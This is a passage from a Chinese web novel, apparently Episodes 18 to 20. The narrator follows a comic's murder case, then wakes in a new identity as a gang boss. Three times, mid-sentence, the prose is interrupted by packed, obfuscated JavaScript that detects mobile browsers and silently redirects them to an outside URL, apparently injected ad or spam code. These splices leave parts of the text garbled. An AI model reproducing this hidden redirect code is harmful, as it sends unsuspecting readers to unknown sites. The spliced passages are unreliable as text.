虽然没有得到监控权限,但是我也注意到“傅霖”并没有找到“商河星”。同样的,从他的内心声音看得出,他找“商河星”除了是想找到身体发生变故的原因,还担心他自己被单独扔在了这个异世界里面。 所以,他本质上还是愿意接受「互换身体」这个结果,即使他认为这是最糟的情况,可是至少不是一个人了。 漫画故事里面也出现了小狗遇车祸的内容,“傅霖”保持自己的角色色彩,上前给了小狗最后一下。 漫画中,“傅霖”对黑发青年说:“我赶到的时候,它已经死了。” 果然“傅霖”还是藏了一手。 不过看情况,“傅霖”也并没有完全怀疑我,果然要猜到我知道他换身份了,也是一种荒谬的事情。理智战胜了他敏感多疑的神经,这对我来说好事。 【原来两个人是熟人。难怪“傅霖”第一个下手的人是这个黎稚,明显黎稚看起来也很警惕嘛。】 【二刷回来的我,现在一看黎稚,就觉得他处处藏机锋,高深莫测。】 这弹幕一出,我忍不住瞥向我床头的才不到4厘米高的超可爱的彩色木雕——两只鹦鹉,一前一后,一起仰头看天花板,并摆出泰坦尼克号“UJump,IJump”经典的动作。 这个一定要藏起来。 上次被人看到自己有苹果头,已经够丢脸了。要是还被人看到我喜欢搜集这些小玩意,他们一定会觉得我内心藏着一个逗比。 可是这个真的很可爱,做得那么精细小巧。 要不,问起来就说是某个朋友逼着送我,然后让我摆在床头的。而我是被迫的。 很好,我解决了一个难题。 回到正题上来。 漫画剧情基本是线性结构,从欢送会开始再到我被推下站台后,把整个漫画案件内容连接起来。 “傅霖”愿意接受案件的初衷还是只有一个,找机会对我下手。 不过,这个初衷发生了变化。就在过路岛的那一刻,我拉了“傅霖”一把,让他免受横祸。然而,我并没有看到“傅霖”脖子上有玉坠。 我坦白讲,我确实在看到说这个案件结束的时候,怀疑过“傅霖”佩戴了跟我类似的玉坠,误打误撞把我的戏份给顶替了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14245102|149412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可现在还没有出现玉坠,那到底是谁出车祸了?“傅霖”是否害死了谁?是我身边哪个熟人吗?是说他最近很奇怪的何其思吗?还是最近经常和他保持联系的小庄吗? 这一下把原本还躺在被窝里面的我又重新坐起身了起来。 弹幕似乎并没有太在意这点,只有我紧张地看着漫画里面的剧情。 漫画内路岛的车祸就像是一个小插曲,并没有阻止我们继续去找林全的步伐。尤其是,我们这边也没有找到推“傅霖”的人,林全的嫌疑陡然增加了不少。 “一定是林全了。”漫画中留着鲍勃发型的靓丽女孩肯定地说道,“讲白了,就是从概率上看,也是林全杀妻的可能性远远高于普通女性被他人谋杀的概率。而且他也有杀人动机。” 何其思在这件事上有自己的想法,可发言依旧保持中立,“那杀人手法呢?伪造事故的无非是两人,用交通工具他杀,又或者是他杀后伪造交通事故。而救护车的工作人员也亲眼见过周秋莹还活着。黎稚当时也一直盯着对方的行动,要是他真的杀人了,又或者死者身上有任何的毒物反应,这个案子也不会拖到现在。” 在漫画中,“傅霖”语调冷静,“如果一切成立的话,那就是属于找不到证据的完美犯罪了。” 何其思接上他的话,“我也想过「或然率犯罪」。林全可能是利用生活中存在的安全隐患,引导别人犯罪。也许周秋莹半夜横穿马路也是他的计划之一。他用心理诱导又或者他们那天晚上打了赌,类似做大冒险之类的。可,要证明这一点很难。” 一直在旁边沉默的黑发青年开口道:“其实不能这么想。他害怕尸检,这是不可忽略的事实。“ 【然后呢?这不就是大家开始怀疑这件事故的性质的开始吗?】 【不不不,他在发力!他在引导啊!】 【周秋莹在法医尸检报告中,不是查不出有任何其他的非自然死亡的痕迹吗?他们好像做了两次以上的尸检。】 “傅霖”突然像是灵光一现,开口道:“我想起来,在晚上9:10分,他不是在加油站的零售店去买水了吗?” “那个不在场证明吗?”何其思皱着眉头跟着反问道。 “黎稚,你当时有看到车子上有矿泉水瓶吗?”“傅霖”跟着朝着黑发男人的方向看了过去,“仔细思考,林全他不会攻击你的。他也许认为你看到了什么。” 何其思立刻反应过来,“你猜那水有问题?” 傅霖说道:“如果我们有更多证据支持的话,可是这会是一个方向。” “「Soladosisfacitvenenum(拉丁语:唯剂量成毒药)」,”黑发青年说道,“在毒理学中有个基本的定律,任何物质都可能成为毒药,包括水。” 小庄立刻反应道:“水中毒?” 黑发青年不置可否,继续说道:“…间接致死也是加害者,别忘了……”林全是医生。 他没有说完,“傅霖”朝着他深深地望了过去。这份凝视让黑发青年停住了话音,“…怎么了吗?” “傅霖”只是淡淡地摇头,语气平静如水,“我只是在跟着你思考。” 然而,漫画中,他的目光微微一滞,随即在无人察觉的瞬间,眯起眼睛,盯住青年那警觉的神色如刀刃般凌厉,似乎正默默剖析地眼前的一切。而刚才那种融洽的讨论案件的氛围在微不可见地凝滞着。 【商河星是认为,黎稚在暗指小狗那件事吗?】 【我还以为,小狗事件是在塑造商河星的人设,没想到是在暗示这次案件的性质吗?】 【黎稚果然很可怕!】 这个弹幕突然就像蛇一样攀上了我的脊椎。屏幕外的我,心脏因此陡然间漏跳了一拍,血液像冰水一样慢慢流遍全身。因为那条“蛇”缠绕着我,勒紧着我,逼得我几乎喘不过气。 …不是,商河星,你太敏感多疑了吧?! 所以,昨晚的示好是假的吗? 19. Episode 19 Episode19恭喜宿主又有了新人生 压下多余的情绪,我耐心地看漫画剧情,尽量不错过剧情里面的任何细节。 漫画其实是把昨天晚上的事情梳理了一遍。不过,它用的是“傅霖”主角视角。 事实上,就在我摔下站台当天,商河星便迅速调取了车站的监控,从茫茫人群中精准地找到了那个不自然地逆行的身影——林全。 在漫画中,正披着傅霖皮的商河星,专注地凝视着屏幕,指节分明的手指在键盘上飞快地敲击着。 他目不转睛地盯着监控画面,快速剖析,最终从十五个画面中提取出关键信息。 车站里面的监控视频逐渐被拉大,变得愈发清晰。 事故发生时,前排的人群大多被惊得僵住,脑袋里面还没有反应过来发生了什么。也有人被吓得后退,还有人不明真相,反而凑前要了解发生了什么事情。而后面不知道发生什么事情的人,只是依旧步履匆匆,按照自己的节奏往返。于是,远离事故现场方向的人潮依旧络绎不绝。 可是,在这些人群里面,有个人显得尤其反常——在背对事故现场逆行而上的时候,他的脚步匆忙又刻意,像是有人在背后追赶着他一样。他的动作很明显在回避摄像头,直到他完全离开车站时,他才回头看了一眼事故发生的方向。 那人长吁了一口气,嘴角也跟着缓缓地扬起一抹笑意。与其说是恶作剧后的得意,不如说是掩藏不住的畅快和恶意。那笑容里带着一种令人不寒而栗的爽快,像是一阵刺骨恶心的凝视,透着说不清的危险。 这一笑,不仅泄露了他的情绪,也暴露了他的意图。 商河星眼中闪过一抹锐利的光亮。 他将这名可疑人物的特征输入动态追踪系统里。十五分钟后,一段完整的追踪视频整合生成:林全在过去三天内的行动轨迹被还原收集成一个MP4文件。在这他两点一线的生活轨迹里面,路线很清晰地显示出一个异常点。 那个异常的时间点与近期保安系统中的一桩车祸事故重合。 在道路监控视频中,林全驾驶的车辆在脱离监控区域时,车内明显有一瓶矿泉水就放在驾驶员和副驾驶员座椅中间那个凹槽处。可是,当车子离开那片区域的时候,矿泉水瓶却不见了。 “沿路没有人行道,自然没有可以扔的垃圾桶。”商河星冷静地分析,“瓶子消失,不可能是巧合。” 他点击暂停键,将画面最后定格在车子驶入无监控地段前的最后一帧。 空气因为这段沉默而凝固了起来。 …… 断案时间从商河星走出之前的回忆后,重新开始转动。 事实上,他手上的证据根本不能展示给他人看。如果说,车站的视频是他凭借着「Anubis救世主」的身份强行要求车站的人配合的,那么,道路监控的视频呢?又该以什么样的理由,才能将这些视频正大光明地呈现在众人面前? 更别说,这些视频只是间接证据,没有直接将嫌疑人与犯罪行为明确挂钩。 为了一个与他毫不相干的人,就暴露自己手上的底牌?无疑是一种愚蠢至极的行为。哪怕这个人可能刚才也想故技重施,把自己推向车道中间里面。 这时,漫画里的商河星微微垂眸,将目光继续放在刚因自己的注视而打断发言的黑发青年身上,眼神深处透着一丝审视和探究。 黑发青年抬头对向另外两个人,光影恰好划过他线条流畅的下巴,那隐隐的棱角显得他格外的清隽冷冽,透着一种干净挺拔的气息,“水中毒性低钠血症在尸检中时可以被检测出来的。过量的液体会导致脑组织肿胀,也可以看到血浆渗透压降低。” 小庄也是说完之后不久,立刻就后悔自己说得太急。 「水中毒」这个答案显然是没有经过头脑的。 寻思着,好歹她也是法医专业Top的学生,一遇到实践,知识水平直线下降,要是被人知道,指不定会被怎么笑话,她正感到羞赧,面前的黑发青年则显得格外耐心。 他顺着小庄的话继续说,“不过如果是轻微水中毒的话,这部分是很难被注意的。” 【水中毒是什么?水里面天然有毒性吗?】 “水中毒究竟是什么?”何其思也跟着问了起来。 黑发青年简短地解释:“水中毒是因为过多的水稀释了血液中的钠,导致昏迷甚至死亡。” 【我第一次听说水中毒,涨知识了。】 【水中毒确实本来就很少见的。不过,我之前看到西班牙团队关于临床肾脏的研究报告说,猝死51多年的国际巨星李小龙的死因很可能是低血钠症。因为他生前就有长期大量饮水的习惯,导致肾脏无法排出足够的水分来保持体丨液平衡。】 【所以这就是为什么电解质水在健身里面这么受欢迎啊?因为人体水分随着汗液流逝时,体内电解质也会跟着流失,这个时候只是补充水分,是不能满足身体需要的。所以有些人要么喝专门的运动饮料,又或者水中加盐。】 【不过,emm……除了水中毒很可能会被检测出来之外,长期伪装自己是孕妇的人身上发生吗?之前不是说她长期伪装自己怀孕,吃了很多的什么加强锭?短时间喝大量水是不会出现水中毒的吧?】 【楼上!】 小庄很快就赶上了节奏,“周秋莹不可能是水中毒。店里面的老板说周秋莹伪装孕妇长达半年,这段时间她一直都有注意孕妇的饮食,既然有补充钙镁锌,自然也不会缺少钠。就算整瓶水500毫升进肚子里面,也不会有水中毒。” “可是,他是医生。” 小庄这句话说完的时候,对上黑发青年温和的眉眼,心头顿时一热,也多了几分被肯定的勇气,“失血过多的时候,喝水是容易加速死亡的。” 话音刚落,何其思猛地一拍额头,浮出恍然大悟的神情的同时,也带出了懊恼。他完全忘记这个最基本的常识了,“我也太蠢了吧?就这种水准的案子,我都会犯这种错误。” “不能这么想。”黑发青年打断突然苦恼得自暴自弃的何其思,“是我们法医没有第一时间检查出尸体的问题,也没有相应的犯罪动机。这本来就是件难事。更别说,我们现在有这个猜测,又怎么证明他确实给她喝过水了?” 尸体腹腔也打开过了,里面的水量可以用“晚餐食物中的水分”或者“消化过程中的体丨液变化”来解释。而唇色变淡,这也是用“尸体表面失去活性,口红无法继续附着”,而非“被迫饮水导致唇膏被冲淡”来解释。 小庄顿时也陷入了苦恼,“要是有商河星在的话,他可能找到视频资料了?” 何其思继续说道:“就算他在也找不到这段公路的视频,最后就是看到矿泉水瓶不见了,又或者是里面变空了。” 【被这个小哥说中了。】 “这并不是没有办法。” “傅霖”轻轻地说道,这句话落下,似乎在为这句话等了很久了。 【天空一阵巨响,主角堂堂登场!】 【我就说,主角的光环怎么可能会被压下来呢?商河星肯定藏着一手】 我暂时对商河星的高光时刻并不是太感兴趣,尤其是这段高光占了30%的剧情量。 我可以简单讲一下过程。 因为在这件案子里面,很多地方都显示这人并不聪明,心理素质很差,杀妻过程也是激情杀人高于长期的处心积虑。所以只要我们诈一波,就能把那个凶手抓出来。 这种操作在推理漫画里面已经算是常规操作的。 就算是再精彩的魔术反复看也会腻一样,我对商河星的手段完全不意外。 而且最让我失望的是,我当时还以为商河星一开始就猜到凶手,为了要除掉我,他把所有矛盾放在我身上,让凶手以为我抓住了他的把柄,更加不留余力地想要杀了我。而他则能借他人之手,还高枕无忧地继续做他的善人。 虽然很叫人害怕,但是这种玩法才刺激呀! 结果,林全真被警察带走的时候,我还失望了一瞬,在心里腹诽着,“真是无趣,就这么结束了。” 我滑动进度条,画面飞速闪过,知道停在某一页的最后一幕上。漫画中的商河星微微偏头,目光如冷箭般直刺而来,透着一股阴沉的警惕。 你又发生什么事情了? 我连忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14253087|149412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手指滑动,移回上一幕。 我指尖轻划,屏幕画面缓缓回拨至上一幕。对比何其思和小庄眉眼间洋溢的得意与轻松,黑发青年的神情却骤然一冷,眼神微微垂落。失望的暗影在瞳中掠过,淡淡的,却带着刺骨的寒意。他薄唇轻启,声音低沉而冷静,似乎他从不需要抬高音量便能掌控一切:“这就是全部了吗?” 他就好像发现,自己期待已久的乐章,竟以最乏味的节奏戛然而止。 漫画外的我忍不住倒吸一口凉气。由于用力过猛,我还忍不住被呛了一下,咳了好一会儿才恢复平静。 这是什么鬼滤镜啊? 我已经看不下去了,连忙拉最后一点剧情,希望漫画早点告诉我玉坠是怎么回事。 最后一幕是商河星回到自己的房间睡觉。 心思向来重的商河星向来不好入眠,但也很少做梦,一做梦就是噩梦。 房外的雨声也跟着落进他的梦中。 在大雨滂沱的深夜,路岛被晦暗的灯光映得模糊不清。青年步履匆匆,脖间的玉坠在灯影下晃动,泛着莹润的光泽。那是少见的款式,也熟悉得刺目——商河星一眼就知道前面的人是他的敌人,是他的心腹大患。 他握紧拳头,深吸一口气,眼神顿时沉如夜色。就在这时,他的身体往前走了一步。商河星知道自己很快就会做出林全曾经做过的同一件事——将人送进了疾驰的车流。 很快地,漫画中的世界颠倒,雨水短暂地朝上扬起,随后雨水又混着血迹蔓延开来。 倒在地上的人显得意外脆弱。 生命以无法挽回的速度从他身上流逝。那血泊的鲜红已无可争辩地昭示了结局——死得彻底,无法再起。 然而,商河星没有像林全那样离开,而是依旧僵立在原地,目光钉在那具躺倒的身躯上。他的呼吸紊乱,雨水顺着脸颊滑落,却掩不住眼底复杂的情绪。 那不是愧疚,也不是心虚,更不是因为还没有听到有人说黎稚死了,自己正在不安心。 而是因为那个青年,躺在血泊中,对着自己,面带清浅的微笑。 ——【第一话完】 【嘶————】 【哇靠,这人不简单啊不简单啊!!!】 【一看就不是善茬,还长得那么帅,真是对我眼睛很好的角色呀~】 【长得帅才是重点是吗?←_←】 【一开始骑车的时候,我觉得这人应该是死得快的炮灰角色,结果林全害怕他的时候,我感觉有点不对劲。可是,前面商河星捂死小狗,成功瞒过去那个人,我还想着肯定是凶手做贼心虚,明明这人心思其实还很简单的。可谁能想到,他居然会对案件顺利结束感到失望?人设不断反转,果然还是恶人角色啊!头皮忍不住跟着发麻(好爽)】 【我的天,原以为商河星已经够狠了,结果傅霖身边居然还藏着这么一个大魔王!一山果然比一山高】 【等等,傅霖到底在哪呢?】 剩下的弹幕已经让我看不下去了。 我感觉,事情结束了是件好事。 可是不知道为什么,我怎么也高兴不起来。 我翻了个身,目光无意识地扫过屏幕,看到漫画结束后,卡牌背包里赫然有个未读消息。 接下来的情况,能再糟糕到哪里去? 心中一阵自暴自弃,我毫不犹豫地点开了卡牌——结果,竟然是我的糖炒栗子发来的消息。 卡牌上现在完整地映出一个目光微微失神、带着几分死气的漂亮青年。 原本在底部显示着无限符号的地方,此刻却转变成了「VITA100h」的字样。 与此同时,屏幕忽然弹出一条通知。 【恭喜宿主完成第一卷案子的阅读。请查收您在VITA的身份卡。此身份卡的使用期限是100小时。一旦生效,就不可中断。】 嗯? 这是什么? 我还没来得及反应过来,脑海中闪过一个模糊的念头。下一秒,屏幕上又冒出了另一条通知: 【由于系统默认设置,此张卡牌已默认生效。恭喜宿主又有了新人生。】 等等! 20. Episode 20 Episode20那颗悬着的心终于死了 【恭喜宿主又有了新人生。】 冷冰冰的机器音在脑海里面传响 【请宿主为新身份输入姓名。】 持续的声音就像是游戏过场动画的旁白,不容置疑又毫无人情味。与此同时,周围的时空也像是被按下了暂停键,陷入了停滞。这就像是在暗示,如果我没有做出下一步动作,时间就会永远凝固,而我也会一直困在这一刻。 我深吸了一口气,试图让自己保持镇定。 仔细想想,抽卡软件都陪我那么多年,还请我吃那么多年的小零食了。它真要害我,也不至于等到今天。 对,它是我的好朋友。 从理性上安慰了自己两秒之后,我重新进入状态,表情平静地接受卡牌带来的新变化,冷静地点开悬浮在自己面前的名字输入面板。 第一关就是难关。 老实说,我不擅长取名字。 姓氏应该还是「黎」。黎在各种类型小说里面是大姓,用这个姓氏,应该不会引起注意。 名字的话,这张卡牌是从糖炒栗子而来的,直接取“栗子”这个名字太随便了一点。最好还是换一个其他的类似的。我记得,有个跟栗子长得很像,却有毒的植物,叫做七叶果。可是,叫“七叶”的话,就显得有点太浪漫小说风格,不够新鲜,也不够有趣。 等等,七叶果还有另一个名字,叫做马栗(HorseChestnut)。 “马栗……”我低声念了一遍。 比起“七叶”,马栗这个名字更贴近普通人的生活气息,低调、通俗、简朴,而且还能把与我相关的联系掩盖得滴水不漏。 完美! 【宿主确认新身份的姓名为「黎马栗」是吗?】 【确定。】 这里说一句。 我取完名字之后,并没有意识到这个名字日后带给我什么样的灾难,甚至后悔为什么自己不叫“七叶”。 当然,这个时候,我沉浸在完成一个取名任务的简单的快乐中。 在确定完毕后,我赶紧开口问,“如果我启用新身份的话,我这边的身体会怎么样?”我要是突然连续消失4天的话,这对我家来说肯定要乱成一锅粥了。 【请不用太担心,系统会接管您的身体,保证日常运转。】 “行吧。” 面板消失的瞬间,强烈的白光也跟着像是人工太阳似的肆无忌惮地绽开光芒,逼得我下意识闭上眼睛。 沐浴在这个白光之中,我能感觉到其中有着温暖的温度,并没有烧灼感。周围还有一种强劲的风就像是漩涡一般缠绕在我的身体,这让我想到实验室风淋室感受到的那种气流——强劲有力,作势要把我全身的尘埃和微生物都剥离掉一样。 等风息慢慢平静下来,我也能感觉到周围的声音再次回归。 海风声。 电视里的新闻联播“今天下午还会有一场小雨,早上出门时还请不要忘记带伞”。 桌椅蹭动声。 视物也越发清晰起来。 街道是我不熟悉的街道。人也是不熟悉的人。建筑带着白色的外墙和蓝色的门户,再用灰白色的鹅卵石铺成的小路一家连着一家。而此刻,拿着新身份的我正在一家早餐店外面坐着吃三明治和纯牛奶(?),迎面是一片一望无际的蓝色大海,内心安宁。 意识到自己可以开始动了,拿回身体控制权的我迅速掏出移动设备,时间是【7:23分】。 手机的款式跟我的不太一样,整个手机都很旧。 我首先查看了整个手机的基本设置。这里面没有任何多余的软件,连短信和社交媒体都是空的,没有任何需要额外清理的数据,像是刚从黑市淘了一个销号的废弃手机。不过,在某个视频软件里面,新人物存了有8GB的视频量。 这个量占整个手机里面的内存里面独树一帜。 我正要打开,结果在页面尽头,我看到了熟悉的抽卡软件,赶紧点击卡池—— 【恭喜宿主今天获得R级卡牌:香酥酸甜的凤梨酥。】 R级卡牌有十个消耗品。 我一次性全部领了,集中收集在自己的口袋里面,以便自己有不时之需。 做完这一切之后,我才彻底安心下来。 只是100小时,其实也不算太难捱,而且还有熟悉的抽卡软件。 正想着,桌子上就落下了一只灰色小鸽子,乍眼看起来有点像卡奴鸽,圆乎乎的,肉肉的,羽毛也很蓬松。不过,从它的体型和羽翅比例来看,这是竞翔鸽。在我看着它的时候,那黑色珠子一样的眼珠子也盯着我好一会儿。它脖子伸了伸,目光落在我的三明治上,又缩了缩脖子,一跳一跳地往着我的方向进攻,丝毫不怕生。 “……” 我很少来海滩。 所以,我不确定的是,海滩除了有海鸟之外,是否还有灰色鸽子?而且,海边风飞鸟是不是真的不怕生?我很喜欢各种鸟类,可是因为我平常都没有时间照顾小动物,所以从来没有去领养过或者买过一只。 最多是隔着笼子,用手指伸进笼子里面,趁它们没看到我的时候,我偷偷地戳戳它们的羽毛。 第一次见到这么主动的小鸟,我忍不住被它可爱得心里都像是块要化了的巧克力,甜滋滋的。为了避免小鸽子跑了,我还积极地开始撕三明治的面包边给鸽子吃。 小鸽子果然很配合,低头开始煮啄面包边,吃得很欢。 我看得正起劲,有个编发的金发白人从我的早餐店里面大步走了出来,一看到我就自动矮下身子,“老大,人打完了。” 一句刺耳的通报,瞬间把我从岁月静好的氛围拉进另一个某个充满暴力和血腥的画风里。 我的手忍不住一抖。 还没有等我回复,金发男挠着一头乱糟糟的金发,一脸纠结地看着我没碰的三明治。他嘴巴抿了抿,眼神在三明治和我的脸上来回乱飘,好像这块三明治才是他人生最大的敌人。“老大,这玩意儿不合您胃口?” 说着,他猛地撸起袖子,露出满是疤痕的小臂,一副义愤填膺的模样。“连老大的早餐都敢敷衍,是不是活腻了?” 我抬眼看他。他被我盯得一愣,原本装得很狠的气势立马泄了大半,眼神都有点飘了,最后讪讪地摸了摸鼻子:“当然……老大不吩咐,我肯定不会乱来啊!” 这句话刚落下来,一个头发杂乱的小姑娘小手捏着店的门扉,大眼睛水汪汪地望着我的方向,眼里的泪珠子似乎随时都要落下来。比她楚楚可怜的表情更引人注目的是,她显露在脸上,手臂上、腿上各处青青紫紫的瘀伤。 我一看过去,金发男也跟着我的视线看过去,小姑娘一撞见对方的眼神,身子忍不住一抖,像是怕极了金发男。 还没等我开口,金发男连忙开口,“老大,真不是我啊!小姑娘我咋下得去手?就她那个缺德继父,揍他都算便宜他了!” 瘀伤和新伤的区别还是分得出来的。 我正要让金发男冷静下来,不用急。 我不是那种不明是非的人。 可刚要开口,我的脑海里面闪现了系统的提示声【请宿主不要轻易做任何会违背您新身份设定的事情,否则会有不可预想的后果出现】。 我的话头立刻就被掐没了。 违背新身份的事情,这里面包括人物外在形象,还是人物本身具有的职责? 系统说的这句话可真是简单。 光是外在形象,就分说话方式、行为举止、处事习惯,外貌打扮等。 本身职责,那就更多了。 一个人是什么样的人? 基本可以从他身边的人推测出来。 面前的金发男衣着打扮随意,又不修边幅,头发也是微微炸毛,平常没有在意自己的打扮,或者也没有需要在意打扮的场合。说话直白简单,想到什么说什么,对新身份的人有一定的恐惧心理,很明显就是社会边缘人士——街头混混。 从三言两语中猜测得,能直接进别人店里面打人,连续几天,都没有接到举报或者警察来干涉,很可能新身份牌在这里就是有一定的影响力,估计是混黑的高级身份。 我突然又想起,之前系统说过这个身份是「VITA」的身份牌。这个「VITA」在周秋莹尸检时的纸条也出现过。 这个「VITA」听起来像是庞大的组织。人员组织结构分明,牵扯到各种领域,可是其立场不明,到底是混乱善良的反抗者组织,还是总体基调为恶的秘密结社,这暂时不得而知。 我将这些线索拼凑起来,心中升起一股不安——系统显然没打算给我一个省心的身份。 …… 金发男见我盯着他不说话,自己声音慢慢就变小了,小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14262775|149412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心翼翼地看着我的眼色。 我不耐地开了口,“事情做完了?回去了,还有一堆事情要做。” 用情绪控制其他人是最容易避免对方察觉到自己的不对劲。 此外,说的内容越笼统,语焉不详,越容易引导别人,尤其是对面的人思维简单,还可以套话。 金发男听我们这么说,连忙应下我的话,说道:“是的,最近组织抓卧底很严,事情一下子多了很多。上头也交代我们要好好盘问那个叛徒。我们很忙的,我先去把车子开过来。” 叛徒? 我还没有想清楚,金发男就从我面前跑走,只留下一个小孩和一只还在吃我三明治的鸽子。那个小姑娘把身子藏在门后,朝着我的方向呆呆地继续观察我。 该死的投喂习惯又在作祟了。 我好想给吃的啊——! 我的手好痒! 给东西吃会不会违背自己的身份牌设定? 我掏了掏口袋里面的凤梨酥,发现系统没有阻止我。于是,我果断地扔了一个到那个小姑娘手里了。这手法奇准无比,准确地落在了她的手心里。按照我平时的手法,都得靠其他人灵活敏捷矫健的身手,才捞得回来。 小姑娘呆呆地望着自己手中的东西一会儿,又看着我,“给我的吗?” “嗯。” 我佯装冷酷地说道。 系统出品,绝对超好吃的! 我在内心补充。 她低头捧着凤梨酥,嘴唇抿得紧紧的,眼眶却一瞬间红了。我强压下安慰的冲动,只能继续假装冷漠地看着她别扭地躲回店里。 这时,金发男开着一辆二手车回来的时候,就遇到我惹哭小女孩的画面。 他内心显然一惊,惊讶地看着我和小孩的方向,“老大,你连小孩都不放过吗?她那么无辜。” “……” 我真的想了解这个人是怎么和我的新身份相处的。 不过这个好奇心只有一秒。 因为更多的心情是无语。 我坐上车子之后,正要让人开车离开,金发男便说:“老大,你东西不带走吗?” “什么…”我还没有反应过来,小灰鸽就飞进了车窗口,落在我的腿上,“咕咕”地伸缩着脑袋。 这很明显就是亲近我。 哦哦哦哦———! 系统!天啊————! 我还以为你给了我很坏的身份,没想到你对我是真的好! 我有一只真的小鸟啦! 沉浸在摸鸽子的快乐后不到半个小时,金发男带我穿过一条阴暗的地下水道,最终来到了一处隐蔽的防空洞入口。 那里面空气又湿又冷,带着一股腐败的霉味和死水的臭味。 这处改建后的防空洞里也有很多的隔间。 其中有一个隔间特意建在水里,是真正意义上的水牢。那水位高过成年人的腰,一个黑发青年垂着头被铁索捆在尽头,全身红肿,皮肉翻卷,裸露在外的伤痕一层又一层,见不到一块好皮。 我下意识屏住了呼吸,即使没有看清他的脸,也知道那个人是谁——“商河星”。 天啊,傅霖在这里都被折磨成这样了…… 我一定得救他出去才行。 与此同时,我下意识地问金发男,“这是谁打成这样的?” 这话刚落,金发男便疑惑地说:“就是您啊…?” 我顿时被噎了一句。 这个答案非常意料之外,也十分情理之中。 我心存侥幸地问道:“那他知道吗?” “…我不知道他知不知道是不是您打的?“ 金金发男被我的话问住了,挠了挠乱糟糟的后脑勺,眉头拧成了结,像是在努力理清头脑里面的一团乱麻。 “但……老大,我跟您说啊,那小子挨您揍的时候可硬气了。被您抽得皮开肉绽,他竟然一次都没晕过去。那眼神——啧,我记得特别清楚。我觉得他应该是知道的,我现在都还记得他那种,恨不得当场跳起来咬死咱们的狠劲儿!我跟您讲,老大,要是他真能逃出去,第一件事会不会把我们嘎了……” 他突然打了个寒颤,话音停住了,瞅了我一眼,赶紧露出一副讨好的笑:“嘿,不过这种事怎么可能呢,对吧?” “是吗?” 我淡淡地反问道。 那颗悬着的心终于死了。